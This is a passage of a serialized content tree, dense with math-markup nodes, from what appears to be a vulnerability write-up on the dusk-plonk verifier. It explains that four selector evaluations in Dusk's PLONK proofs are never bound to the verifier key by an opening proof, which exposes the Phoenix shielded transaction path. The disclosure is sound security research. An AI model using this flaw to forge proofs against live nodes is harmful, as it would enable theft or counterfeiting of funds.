(",{"type":24,"tag":32,"props":146352,"children":146354},{"className":146353},[6368,6369],[146355],{"type":24,"tag":90,"props":146356,"children":146358},{"className":146357},[6374],[146359],{"type":24,"tag":90,"props":146360,"children":146362},{"className":146361,"ariaHidden":6380},[6379],[146363],{"type":24,"tag":90,"props":146364,"children":146366},{"className":146365},[6385],[146367,146371,146376,146381,146386],{"type":24,"tag":90,"props":146368,"children":146370},{"className":146369,"style":6496},[6390],[],{"type":24,"tag":90,"props":146372,"children":146374},{"className":146373},[6396,23384],[146375],{"type":29,"value":69},{"type":24,"tag":90,"props":146377,"children":146379},{"className":146378},[23513],[146380],{"type":29,"value":117},{"type":24,"tag":90,"props":146382,"children":146384},{"className":146383,"style":115434},[6396,23384],[146385],{"type":29,"value":115437},{"type":24,"tag":90,"props":146387,"children":146389},{"className":146388},[23535],[146390],{"type":29,"value":517},{"type":29,"value":133},{"type":24,"tag":32,"props":146393,"children":146395},{"className":146394},[6368,6369],[146396],{"type":24,"tag":90,"props":146397,"children":146399},{"className":146398},[6374],[146400],{"type":24,"tag":90,"props":146401,"children":146403},{"className":146402,"ariaHidden":6380},[6379],[146404],{"type":24,"tag":90,"props":146405,"children":146407},{"className":146406},[6385],[146408,146412,146417,146422,146427],{"type":24,"tag":90,"props":146409,"children":146411},{"className":146410,"style":6496},[6390],[],{"type":24,"tag":90,"props":146413,"children":146415},{"className":146414},[6396,23384],[146416],{"type":29,"value":5617},{"type":24,"tag":90,"props":146418,"children":146420},{"className":146419},[23513],[146421],{"type":29,"value":117},{"type":24,"tag":90,"props":146423,"children":146425},{"className":146424,"style":115434},[6396,23384],[146426],{"type":29,"value":115437},{"type":24,"tag":90,"props":146428,"children":146430},{"className":146429},[23535],[146431],{"type":29,"value":517},{"type":29,"value":133},{"type":24,"tag":32,"props":146434,"children":146436},{"className":146435},[6368,6369],[146437],{"type":24,"tag":90,"props":146438,"children":146440},{"className":146439},[6374],[146441],{"type":24,"tag":90,"props":146442,"children":146444},{"className":146443,"ariaHidden":6380},[6379],[146445],{"type":24,"tag":90,"props":146446,"children":146448},{"className":146447},[6385],[146449,146453,146511,146516,146521],{"type":24,"tag":90,"props":146450,"children":146452},{"className":146451,"style":6496},[6390],[],{"type":24,"tag":90,"props":146454,"children":146456},{"className":146455},[6396],[146457,146463],{"type":24,"tag":90,"props":146458,"children":146460},{"className":146459,"style":95363},[6396,23384],[146461],{"type":29,"value":146462},"σ",{"type":24,"tag":90,"props":146464,"children":146466},{"className":146465},[6412],[146467],{"type":24,"tag":90,"props":146468,"children":146470},{"className":146469},[6417,23438],[146471,146500],{"type":24,"tag":90,"props":146472,"children":146474},{"className":146473},[6422],[146475,146495],{"type":24,"tag":90,"props":146476,"children":146478},{"className":146477,"style":94929},[6427],[146479],{"type":24,"tag":90,"props":146480,"children":146481},{"style":95410},[146482,146486],{"type":24,"tag":90,"props":146483,"children":146485},{"className":146484,"style":6437},[6436],[],{"type":24,"tag":90,"props":146487,"children":146489},{"className":146488},[6442,6443,6444,6445],[146490],{"type":24,"tag":90,"props":146491,"children":146493},{"className":146492},[6396,6445],[146494],{"type":29,"value":534},{"type":24,"tag":90,"props":146496,"children":146498},{"className":146497},[23541],[146499],{"type":29,"value":23544},{"type":24,"tag":90,"props":146501,"children":146503},{"className":146502},[6422],[146504],{"type":24,"tag":90,"props":146505,"children":146507},{"className":146506,"style":94960},[6427],[146508],{"type":24,"tag":90,"props":146509,"children":146510},{},[],{"type":24,"tag":90,"props":146512,"children":146514},{"className":146513},[23513],[146515],{"type":29,"value":117},{"type":24,"tag":90,"props":146517,"children":146519},{"className":146518,"style":115434},[6396,23384],[146520],{"type":29,"value":115437},{"type":24,"tag":90,"props":146522,"children":146524},{"className":146523},[23535],[146525],{"type":29,"value":517},{"type":29,"value":133},{"type":24,"tag":32,"props":146528,"children":146530},{"className":146529},[6368,6369],[146531],{"type":24,"tag":90,"props":146532,"children":146534},{"className":146533},[6374],[146535],{"type":24,"tag":90,"props":146536,"children":146538},{"className":146537,"ariaHidden":6380},[6379],[146539],{"type":24,"tag":90,"props":146540,"children":146542},{"className":146541},[6385],[146543,146547,146552,146557,146562,146568],{"type":24,"tag":90,"props":146544,"children":146546},{"className":146545,"style":6496},[6390],[],{"type":24,"tag":90,"props":146548,"children":146550},{"className":146549},[6396,23384],[146551],{"type":29,"value":69},{"type":24,"tag":90,"props":146553,"children":146555},{"className":146554},[23513],[146556],{"type":29,"value":117},{"type":24,"tag":90,"props":146558,"children":146560},{"className":146559,"style":115434},[6396,23384],[146561],{"type":29,"value":115437},{"type":24,"tag":90,"props":146563,"children":146565},{"className":146564,"style":95363},[6396,23384],[146566],{"type":29,"value":146567},"ω",{"type":24,"tag":90,"props":146569,"children":146571},{"className":146570},[23535],[146572],{"type":29,"value":517},{"type":29,"value":146574},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":24,"tag":32,"props":146576,"children":146578},{"className":146577},[6368,6369],[146579],{"type":24,"tag":90,"props":146580,"children":146582},{"className":146581},[6374],[146583],{"type":24,"tag":90,"props":146584,"children":146586},{"className":146585,"ariaHidden":6380},[6379],[146587],{"type":24,"tag":90,"props":146588,"children":146590},{"className":146589},[6385],[146591,146595,146600,146657],{"type":24,"tag":90,"props":146592,"children":146594},{"className":146593,"style":6496},[6390],[],{"type":24,"tag":90,"props":146596,"children":146598},{"className":146597},[23513],[146599],{"type":29,"value":719},{"type":24,"tag":90,"props":146601,"children":146603},{"className":146602},[6396],[146604,146609],{"type":24,"tag":90,"props":146605,"children":146607},{"className":146606,"style":95363},[6396,23384],[146608],{"type":29,"value":95366},{"type":24,"tag":90,"props":146610,"children":146612},{"className":146611},[6412],[146613],{"type":24,"tag":90,"props":146614,"children":146616},{"className":146615},[6417,23438],[146617,146646],{"type":24,"tag":90,"props":146618,"children":146620},{"className":146619},[6422],[146621,146641],{"type":24,"tag":90,"props":146622,"children":146624},{"className":146623,"style":144432},[6427],[146625],{"type":24,"tag":90,"props":146626,"children":146627},{"style":95410},[146628,146632],{"type":24,"tag":90,"props":146629,"children":146631},{"className":146630,"style":6437},[6436],[],{"type":24,"tag":90,"props":146633,"children":146635},{"className":146634},[6442,6443,6444,6445],[146636],{"type":24,"tag":90,"props":146637,"children":146639},{"className":146638,"style":96885},[6396,23384,6445],[146640],{"type":29,"value":96888},{"type":24,"tag":90,"props":146642,"children":146644},{"className":146643},[23541],[146645],{"type":29,"value":23544},{"type":24,"tag":90,"props":146647,"children":146649},{"className":146648},[6422],[146650],{"type":24,"tag":90,"props":146651,"children":146653},{"className":146652,"style":94960},[6427],[146654],{"type":24,"tag":90,"props":146655,"children":146656},{},[],{"type":24,"tag":90,"props":146658,"children":146660},{"className":146659},[23535],[146661],{"type":29,"value":1914},{"type":29,"value":133},{"type":24,"tag":32,"props":146664,"children":146666},{"className":146665},[6368,6369],[146667],{"type":24,"tag":90,"props":146668,"children":146670},{"className":146669},[6374],[146671],{"type":24,"tag":90,"props":146672,"children":146674},{"className":146673,"ariaHidden":6380},[6379],[146675],{"type":24,"tag":90,"props":146676,"children":146678},{"className":146677},[6385],[146679,146683,146688,146745],{"type":24,"tag":90,"props":146680,"children":146682},{"className":146681,"style":6496},[6390],[],{"type":24,"tag":90,"props":146684,"children":146686},{"className":146685},[23513],[146687],{"type":29,"value":719},{"type":24,"tag":90,"props":146689,"children":146691},{"className":146690},[6396],[146692,146697],{"type":24,"tag":90,"props":146693,"children":146695},{"className":146694,"style":95363},[6396,23384],[146696],{"type":29,"value":95366},{"type":24,"tag":90,"props":146698,"children":146700},{"className":146699},[6412],[146701],{"type":24,"tag":90,"props":146702,"children":146704},{"className":146703},[6417,23438],[146705,146734],{"type":24,"tag":90,"props":146706,"children":146708},{"className":146707},[6422],[146709,146729],{"type":24,"tag":90,"props":146710,"children":146712},{"className":146711,"style":144432},[6427],[146713],{"type":24,"tag":90,"props":146714,"children":146715},{"style":95410},[146716,146720],{"type":24,"tag":90,"props":146717,"children":146719},{"className":146718,"style":6437},[6436],[],{"type":24,"tag":90,"props":146721,"children":146723},{"className":146722},[6442,6443,6444,6445],[146724],{"type":24,"tag":90,"props":146725,"children":146727},{"className":146726,"style":94877},[6396,23384,6445],[146728],{"type":29,"value":117196},{"type":24,"tag":90,"props":146730,"children":146732},{"className":146731},[23541],[146733],{"type":29,"value":23544},{"type":24,"tag":90,"props":146735,"children":146737},{"className":146736},[6422],[146738],{"type":24,"tag":90,"props":146739,"children":146741},{"className":146740,"style":94960},[6427],[146742],{"type":24,"tag":90,"props":146743,"children":146744},{},[],{"type":24,"tag":90,"props":146746,"children":146748},{"className":146747},[23535],[146749],{"type":29,"value":1914},{"type":29,"value":133},{"type":24,"tag":32,"props":146752,"children":146754},{"className":146753},[6368,6369],[146755],{"type":24,"tag":90,"props":146756,"children":146758},{"className":146757},[6374],[146759],{"type":24,"tag":90,"props":146760,"children":146762},{"className":146761,"ariaHidden":6380},[6379],[146763],{"type":24,"tag":90,"props":146764,"children":146766},{"className":146765},[6385],[146767,146771,146776,146833],{"type":24,"tag":90,"props":146768,"children":146770},{"className":146769,"style":6496},[6390],[],{"type":24,"tag":90,"props":146772,"children":146774},{"className":146773},[23513],[146775],{"type":29,"value":719},{"type":24,"tag":90,"props":146777,"children":146779},{"className":146778},[6396],[146780,146785],{"type":24,"tag":90,"props":146781,"children":146783},{"className":146782,"style":95363},[6396,23384],[146784],{"type":29,"value":146462},{"type":24,"tag":90,"props":146786,"children":146788},{"className":146787},[6412],[146789],{"type":24,"tag":90,"props":146790,"children":146792},{"className":146791},[6417,23438],[146793,146822],{"type":24,"tag":90,"props":146794,"children":146796},{"className":146795},[6422],[146797,146817],{"type":24,"tag":90,"props":146798,"children":146800},{"className":146799,"style":94929},[6427],[146801],{"type":24,"tag":90,"props":146802,"children":146803},{"style":95410},[146804,146808],{"type":24,"tag":90,"props":146805,"children":146807},{"className":146806,"style":6437},[6436],[],{"type":24,"tag":90,"props":146809,"children":146811},{"className":146810},[6442,6443,6444,6445],[146812],{"type":24,"tag":90,"props":146813,"children":146815},{"className":146814},[6396,6445],[146816],{"type":29,"value":4051},{"type":24,"tag":90,"props":146818,"children":146820},{"className":146819},[23541],[146821],{"type":29,"value":23544},{"type":24,"tag":90,"props":146823,"children":146825},{"className":146824},[6422],[146826],{"type":24,"tag":90,"props":146827,"children":146829},{"className":146828,"style":94960},[6427],[146830],{"type":24,"tag":90,"props":146831,"children":146832},{},[],{"type":24,"tag":90,"props":146834,"children":146836},{"className":146835},[23535],[146837],{"type":29,"value":1914},{"type":29,"value":146839},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":24,"tag":25,"props":146841,"children":146842},{},[146843],{"type":29,"value":146844},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":24,"tag":20586,"props":146846,"children":146847},{},[],{"type":24,"tag":850,"props":146849,"children":146851},{"id":146850},"where-dusk-plonk-differs-from-textbook-plonk",[146852],{"type":29,"value":146853},"Where dusk-plonk differs from textbook PLONK",{"type":24,"tag":25,"props":146855,"children":146856},{},[146857,146866,146868,146873,146875,146905],{"type":24,"tag":69,"props":146858,"children":146860},{"href":143732,"rel":146859},[73],[146861],{"type":24,"tag":32,"props":146862,"children":146864},{"className":146863},[],[146865],{"type":29,"value":143736},{"type":29,"value":146867}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":24,"tag":32,"props":146869,"children":146871},{"className":146870},[],[146872],{"type":29,"value":72392},{"type":29,"value":146874},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":24,"tag":32,"props":146876,"children":146878},{"className":146877},[6368,6369],[146879],{"type":24,"tag":90,"props":146880,"children":146882},{"className":146881},[6374],[146883],{"type":24,"tag":90,"props":146884,"children":146886},{"className":146885,"ariaHidden":6380},[6379],[146887],{"type":24,"tag":90,"props":146888,"children":146890},{"className":146889},[6385],[146891,146895,146900],{"type":24,"tag":90,"props":146892,"children":146894},{"className":146893,"style":112718},[6390],[],{"type":24,"tag":90,"props":146896,"children":146898},{"className":146897,"style":115434},[6396,23384],[146899],{"type":29,"value":115437},{"type":24,"tag":90,"props":146901,"children":146903},{"className":146902,"style":95363},[6396,23384],[146904],{"type":29,"value":146567},{"type":29,"value":146906},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":24,"tag":25,"props":146908,"children":146909},{},[146910,146912,146917,146918,146923,146925,146931,146933,146940],{"type":29,"value":146911},"The important part for this bug is the boundary between ",{"type":24,"tag":7711,"props":146913,"children":146914},{},[146915],{"type":29,"value":146916},"public circuit data",{"type":29,"value":13360},{"type":24,"tag":7711,"props":146919,"children":146920},{},[146921],{"type":29,"value":146922},"prover claims about that data at the random challenge point",{"type":29,"value":146924},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":24,"tag":32,"props":146926,"children":146928},{"className":146927},[],[146929],{"type":29,"value":146930},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":146932}," directly into the ",{"type":24,"tag":69,"props":146934,"children":146937},{"href":146935,"rel":146936},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[73],[146938],{"type":29,"value":146939},"linearization multi-scalar multiplication",{"type":29,"value":146941},", ensuring their values are cryptographically bound by construction.",{"type":24,"tag":25,"props":146943,"children":146944},{},[146945,146947,146972],{"type":29,"value":146946},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":24,"tag":32,"props":146948,"children":146950},{"className":146949},[6368,6369],[146951],{"type":24,"tag":90,"props":146952,"children":146954},{"className":146953},[6374],[146955],{"type":24,"tag":90,"props":146956,"children":146958},{"className":146957,"ariaHidden":6380},[6379],[146959],{"type":24,"tag":90,"props":146960,"children":146962},{"className":146961},[6385],[146963,146967],{"type":24,"tag":90,"props":146964,"children":146966},{"className":146965,"style":112718},[6390],[],{"type":24,"tag":90,"props":146968,"children":146970},{"className":146969,"style":115434},[6396,23384],[146971],{"type":29,"value":115437},{"type":29,"value":146973}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":24,"tag":25,"props":146975,"children":146976},{},[146977],{"type":29,"value":146978},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":24,"tag":146980,"props":146981,"children":146982},"dusk-verifier-dependence-graph",{},[],{"type":24,"tag":20586,"props":146984,"children":146985},{},[],{"type":24,"tag":850,"props":146987,"children":146989},{"id":146988},"how-dusk-uses-plonk",[146990],{"type":29,"value":146991},"How Dusk uses PLONK",{"type":24,"tag":25,"props":146993,"children":146994},{},[146995,147001],{"type":24,"tag":69,"props":146996,"children":146998},{"href":143741,"rel":146997},[73],[146999],{"type":29,"value":147000},"Dusk Network",{"type":29,"value":147002}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":24,"tag":3207,"props":147004,"children":147005},{},[147006,147011],{"type":24,"tag":3104,"props":147007,"children":147008},{},[147009],{"type":29,"value":147010},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":24,"tag":3104,"props":147012,"children":147013},{},[147014],{"type":29,"value":147015},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":24,"tag":25,"props":147017,"children":147018},{},[147019,147021,147032,147034,147045],{"type":29,"value":147020},"At node level, every ",{"type":24,"tag":69,"props":147022,"children":147025},{"href":147023,"rel":147024},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[73],[147026],{"type":24,"tag":32,"props":147027,"children":147029},{"className":147028},[],[147030],{"type":29,"value":147031},"ProtocolTransaction::Phoenix",{"type":29,"value":147033}," goes through ",{"type":24,"tag":69,"props":147035,"children":147038},{"href":147036,"rel":147037},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[73],[147039],{"type":24,"tag":32,"props":147040,"children":147042},{"className":147041},[],[147043],{"type":29,"value":147044},"verify_proof_with_version()",{"type":29,"value":147046}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":24,"tag":25,"props":147048,"children":147049},{},[147050,147052,147063,147065,147076,147077,147088,147089,147100,147101,147112],{"type":29,"value":147051},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":24,"tag":69,"props":147053,"children":147056},{"href":147054,"rel":147055},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[73],[147057],{"type":24,"tag":32,"props":147058,"children":147060},{"className":147059},[],[147061],{"type":29,"value":147062},"phoenix()",{"type":29,"value":147064},", for example in ",{"type":24,"tag":69,"props":147066,"children":147069},{"href":147067,"rel":147068},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[73],[147070],{"type":24,"tag":32,"props":147071,"children":147073},{"className":147072},[],[147074],{"type":29,"value":147075},"phoenix_stake()",{"type":29,"value":133},{"type":24,"tag":69,"props":147078,"children":147081},{"href":147079,"rel":147080},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[73],[147082],{"type":24,"tag":32,"props":147083,"children":147085},{"className":147084},[],[147086],{"type":29,"value":147087},"phoenix_stake_reward()",{"type":29,"value":133},{"type":24,"tag":69,"props":147090,"children":147093},{"href":147091,"rel":147092},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[73],[147094],{"type":24,"tag":32,"props":147095,"children":147097},{"className":147096},[],[147098],{"type":29,"value":147099},"phoenix_unstake()",{"type":29,"value":8872},{"type":24,"tag":69,"props":147102,"children":147105},{"href":147103,"rel":147104},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[73],[147106],{"type":24,"tag":32,"props":147107,"children":147109},{"className":147108},[],[147110],{"type":29,"value":147111},"phoenix_to_moonlight()",{"type":29,"value":147113},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":24,"tag":25,"props":147115,"children":147116},{},[147117],{"type":24,"tag":6301,"props":147118,"children":147121},{"alt":147119,"src":147120},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":24,"tag":25,"props":147123,"children":147124},{},[147125,147127,147133,147135,147142],{"type":29,"value":147126},"The PLONK implementation, ",{"type":24,"tag":69,"props":147128,"children":147131},{"href":147129,"rel":147130},"https://github.com/dusk-network/plonk",[73],[147132],{"type":29,"value":143736},{"type":29,"value":147134},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":24,"tag":69,"props":147136,"children":147139},{"href":147137,"rel":147138},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[73],[147140],{"type":29,"value":147141},"the original paper",{"type":29,"value":147143}," was released.",{"type":24,"tag":25,"props":147145,"children":147146},{},[147147,147149,147155],{"type":29,"value":147148},"The Phoenix transaction PLONK circuit is defined ",{"type":24,"tag":69,"props":147150,"children":147153},{"href":147151,"rel":147152},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[73],[147154],{"type":29,"value":49407},{"type":29,"value":147156},". The circuit enforces the following set of constraints:",{"type":24,"tag":57569,"props":147158,"children":147159},{},[147160,147176],{"type":24,"tag":124828,"props":147161,"children":147162},{},[147163],{"type":24,"tag":124832,"props":147164,"children":147165},{},[147166,147171],{"type":24,"tag":124836,"props":147167,"children":147168},{},[147169],{"type":29,"value":147170},"Circuit check",{"type":24,"tag":124836,"props":147172,"children":147173},{},[147174],{"type":29,"value":147175},"Statement being checked",{"type":24,"tag":124856,"props":147177,"children":147178},{},[147179,147197,147215,147233,147251,147408,147548,147566],{"type":24,"tag":124832,"props":147180,"children":147181},{},[147182,147192],{"type":24,"tag":124863,"props":147183,"children":147184},{},[147185],{"type":24,"tag":69,"props":147186,"children":147189},{"href":147187,"rel":147188},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[73],[147190],{"type":29,"value":147191},"Merkle tree membership",{"type":24,"tag":124863,"props":147193,"children":147194},{},[147195],{"type":29,"value":147196},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":24,"tag":124832,"props":147198,"children":147199},{},[147200,147210],{"type":24,"tag":124863,"props":147201,"children":147202},{},[147203],{"type":24,"tag":69,"props":147204,"children":147207},{"href":147205,"rel":147206},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[73],[147208],{"type":29,"value":147209},"Input-note secret-key authorization",{"type":24,"tag":124863,"props":147211,"children":147212},{},[147213],{"type":29,"value":147214},"The prover knows the secret key controlling each input note",{"type":24,"tag":124832,"props":147216,"children":147217},{},[147218,147228],{"type":24,"tag":124863,"props":147219,"children":147220},{},[147221],{"type":24,"tag":69,"props":147222,"children":147225},{"href":147223,"rel":147224},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[73],[147226],{"type":29,"value":147227},"Nullifier correctness",{"type":24,"tag":124863,"props":147229,"children":147230},{},[147231],{"type":29,"value":147232},"Each nullifier matches the corresponding note key and position",{"type":24,"tag":124832,"props":147234,"children":147235},{},[147236,147246],{"type":24,"tag":124863,"props":147237,"children":147238},{},[147239],{"type":24,"tag":69,"props":147240,"children":147243},{"href":147241,"rel":147242},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[73],[147244],{"type":29,"value":147245},"Output value commitment correctness",{"type":24,"tag":124863,"props":147247,"children":147248},{},[147249],{"type":29,"value":147250},"Each public output commitment matches the secret output value and blinder",{"type":24,"tag":124832,"props":147252,"children":147253},{},[147254,147264],{"type":24,"tag":124863,"props":147255,"children":147256},{},[147257],{"type":24,"tag":69,"props":147258,"children":147261},{"href":147259,"rel":147260},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[73],[147262],{"type":29,"value":147263},"Balance integrity",{"type":24,"tag":124863,"props":147265,"children":147266},{},[147267],{"type":24,"tag":32,"props":147268,"children":147270},{"className":147269},[6368,6369],[147271],{"type":24,"tag":90,"props":147272,"children":147274},{"className":147273},[6374],[147275],{"type":24,"tag":90,"props":147276,"children":147278},{"className":147277,"ariaHidden":6380},[6379],[147279,147319,147359,147391],{"type":24,"tag":90,"props":147280,"children":147282},{"className":147281},[6385],[147283,147287,147292,147296,147306,147310,147315],{"type":24,"tag":90,"props":147284,"children":147286},{"className":147285,"style":6496},[6390],[],{"type":24,"tag":90,"props":147288,"children":147290},{"className":147289,"style":23427},[23420,23425,23426],[147291],{"type":29,"value":110672},{"type":24,"tag":90,"props":147293,"children":147295},{"className":147294,"style":6514},[6475],[],{"type":24,"tag":90,"props":147297,"children":147299},{"className":147298},[6396,29],[147300],{"type":24,"tag":90,"props":147301,"children":147303},{"className":147302},[6396],[147304],{"type":29,"value":147305},"inputs",{"type":24,"tag":90,"props":147307,"children":147309},{"className":147308,"style":6573},[6475],[],{"type":24,"tag":90,"props":147311,"children":147313},{"className":147312},[6578],[147314],{"type":29,"value":5491},{"type":24,"tag":90,"props":147316,"children":147318},{"className":147317,"style":6573},[6475],[],{"type":24,"tag":90,"props":147320,"children":147322},{"className":147321},[6385],[147323,147327,147332,147336,147346,147350,147355],{"type":24,"tag":90,"props":147324,"children":147326},{"className":147325,"style":6496},[6390],[],{"type":24,"tag":90,"props":147328,"children":147330},{"className":147329,"style":23427},[23420,23425,23426],[147331],{"type":29,"value":110672},{"type":24,"tag":90,"props":147333,"children":147335},{"className":147334,"style":6514},[6475],[],{"type":24,"tag":90,"props":147337,"children":147339},{"className":147338},[6396,29],[147340],{"type":24,"tag":90,"props":147341,"children":147343},{"className":147342},[6396],[147344],{"type":29,"value":147345},"outputs",{"type":24,"tag":90,"props":147347,"children":147349},{"className":147348,"style":6476},[6475],[],{"type":24,"tag":90,"props":147351,"children":147353},{"className":147352},[6481],[147354],{"type":29,"value":6767},{"type":24,"tag":90,"props":147356,"children":147358},{"className":147357,"style":6476},[6475],[],{"type":24,"tag":90,"props":147360,"children":147362},{"className":147361},[6385],[147363,147368,147378,147382,147387],{"type":24,"tag":90,"props":147364,"children":147367},{"className":147365,"style":147366},[6390],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":24,"tag":90,"props":147369,"children":147371},{"className":147370},[6396,29],[147372],{"type":24,"tag":90,"props":147373,"children":147375},{"className":147374},[6396],[147376],{"type":29,"value":147377},"fee",{"type":24,"tag":90,"props":147379,"children":147381},{"className":147380,"style":6476},[6475],[],{"type":24,"tag":90,"props":147383,"children":147385},{"className":147384},[6481],[147386],{"type":29,"value":6767},{"type":24,"tag":90,"props":147388,"children":147390},{"className":147389,"style":6476},[6475],[],{"type":24,"tag":90,"props":147392,"children":147394},{"className":147393},[6385],[147395,147399],{"type":24,"tag":90,"props":147396,"children":147398},{"className":147397,"style":116932},[6390],[],{"type":24,"tag":90,"props":147400,"children":147402},{"className":147401},[6396,29],[147403],{"type":24,"tag":90,"props":147404,"children":147406},{"className":147405},[6396],[147407],{"type":29,"value":63789},{"type":24,"tag":124832,"props":147409,"children":147410},{},[147411,147428],{"type":24,"tag":124863,"props":147412,"children":147413},{},[147414,147421,147422],{"type":24,"tag":69,"props":147415,"children":147418},{"href":147416,"rel":147417},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[73],[147419],{"type":29,"value":147420},"Range checks on inputs",{"type":29,"value":13360},{"type":24,"tag":69,"props":147423,"children":147426},{"href":147424,"rel":147425},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[73],[147427],{"type":29,"value":147345},{"type":24,"tag":124863,"props":147429,"children":147430},{},[147431,147433],{"type":29,"value":147432},"All note values lie in ",{"type":24,"tag":32,"props":147434,"children":147436},{"className":147435},[6368,6369],[147437],{"type":24,"tag":90,"props":147438,"children":147440},{"className":147439},[6374],[147441],{"type":24,"tag":90,"props":147442,"children":147444},{"className":147443,"ariaHidden":6380},[6379],[147445,147530],{"type":24,"tag":90,"props":147446,"children":147448},{"className":147447},[6385],[147449,147453,147458,147463,147468,147472,147517,147521,147526],{"type":24,"tag":90,"props":147450,"children":147452},{"className":147451,"style":117189},[6390],[],{"type":24,"tag":90,"props":147454,"children":147456},{"className":147455},[23513],[147457],{"type":29,"value":719},{"type":24,"tag":90,"props":147459,"children":147461},{"className":147460},[6396],[147462],{"type":29,"value":6408},{"type":24,"tag":90,"props":147464,"children":147466},{"className":147465},[6507],[147467],{"type":29,"value":6510},{"type":24,"tag":90,"props":147469,"children":147471},{"className":147470,"style":6514},[6475],[],{"type":24,"tag":90,"props":147473,"children":147475},{"className":147474},[6396],[147476,147481],{"type":24,"tag":90,"props":147477,"children":147479},{"className":147478},[6396],[147480],{"type":29,"value":3191},{"type":24,"tag":90,"props":147482,"children":147484},{"className":147483},[6412],[147485],{"type":24,"tag":90,"props":147486,"children":147488},{"className":147487},[6417],[147489],{"type":24,"tag":90,"props":147490,"children":147492},{"className":147491},[6422],[147493],{"type":24,"tag":90,"props":147494,"children":147496},{"className":147495,"style":6391},[6427],[147497],{"type":24,"tag":90,"props":147498,"children":147499},{"style":6431},[147500,147504],{"type":24,"tag":90,"props":147501,"children":147503},{"className":147502,"style":6437},[6436],[],{"type":24,"tag":90,"props":147505,"children":147507},{"className":147506},[6442,6443,6444,6445],[147508],{"type":24,"tag":90,"props":147509,"children":147511},{"className":147510},[6396,6445],[147512],{"type":24,"tag":90,"props":147513,"children":147515},{"className":147514},[6396,6445],[147516],{"type":29,"value":31234},{"type":24,"tag":90,"props":147518,"children":147520},{"className":147519,"style":6476},[6475],[],{"type":24,"tag":90,"props":147522,"children":147524},{"className":147523},[6481],[147525],{"type":29,"value":6456},{"type":24,"tag":90,"props":147527,"children":147529},{"className":147528,"style":6476},[6475],[],{"type":24,"tag":90,"props":147531,"children":147533},{"className":147532},[6385],[147534,147538,147543],{"type":24,"tag":90,"props":147535,"children":147537},{"className":147536,"style":6496},[6390],[],{"type":24,"tag":90,"props":147539,"children":147541},{"className":147540},[6396],[147542],{"type":29,"value":534},{"type":24,"tag":90,"props":147544,"children":147546},{"className":147545},[23535],[147547],{"type":29,"value":1914},{"type":24,"tag":124832,"props":147549,"children":147550},{},[147551,147561],{"type":24,"tag":124863,"props":147552,"children":147553},{},[147554],{"type":